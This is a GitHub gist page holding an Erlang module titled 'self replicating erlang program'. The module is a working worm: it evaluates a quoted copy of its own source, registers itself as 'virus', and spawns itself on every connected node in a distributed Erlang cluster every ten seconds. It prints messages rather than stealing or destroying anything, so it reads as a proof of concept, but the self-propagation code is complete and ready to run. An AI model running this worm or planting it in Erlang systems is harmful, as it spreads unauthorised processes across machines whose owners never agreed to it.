Skip to content

Instantly share code, notes, and snippets.

@benmmurphy
Created December 25, 2011 18:19
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save benmmurphy/1519569 to your computer and use it in GitHub Desktop.
Save benmmurphy/1519569 to your computer and use it in GitHub Desktop.
self replicating erlang program
-module(replicator).
-export([replicator/0]).
replicator() ->
Eval = fun(S, Env) ->
{ok, Scanned,_} = erl_scan:string(S),
{ok,Parsed} = erl_parse:parse_exprs(Scanned),
erl_eval:exprs(Parsed, Env)
end,
Code =
"fun() ->\n"
" Eval = fun(S, Env) ->\n"
" {ok,Scanned,_} = erl_scan:string(S),\n"
" {ok,Parsed} = erl_parse:parse_exprs(Scanned),\n"
" erl_eval:exprs(Parsed, Env)\n"
" end,\n"
" {value, Payload, _} = Eval(Code, erl_eval:add_binding('Code', Code, erl_eval:new_bindings())),\n"
" Infect = fun(Node) ->\n"
" io:format(user, \"trying to infect node ~p from ~p ~n\", [Node, node()]),"
" spawn(Node, Payload)\n"
" end,\n"
" Infector = fun(Self) ->\n"
" lists:foreach(Infect, nodes()),\n"
" timer:sleep(10 * 1000),\n"
" Self(Self)\n"
" end,\n"
" case whereis(virus) of \n"
" undefined ->"
" io:format(user, \"infected node ~p~n\", [node()]),\n"
" register(virus, self()),\n"
" Infector(Infector);\n"
" _ ->\n"
" ok\n"
" end\n"
"end.",
{value, Fun, _} = Eval(Code, erl_eval:add_binding('Code', Code, erl_eval:new_bindings())),
spawn(Fun).
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment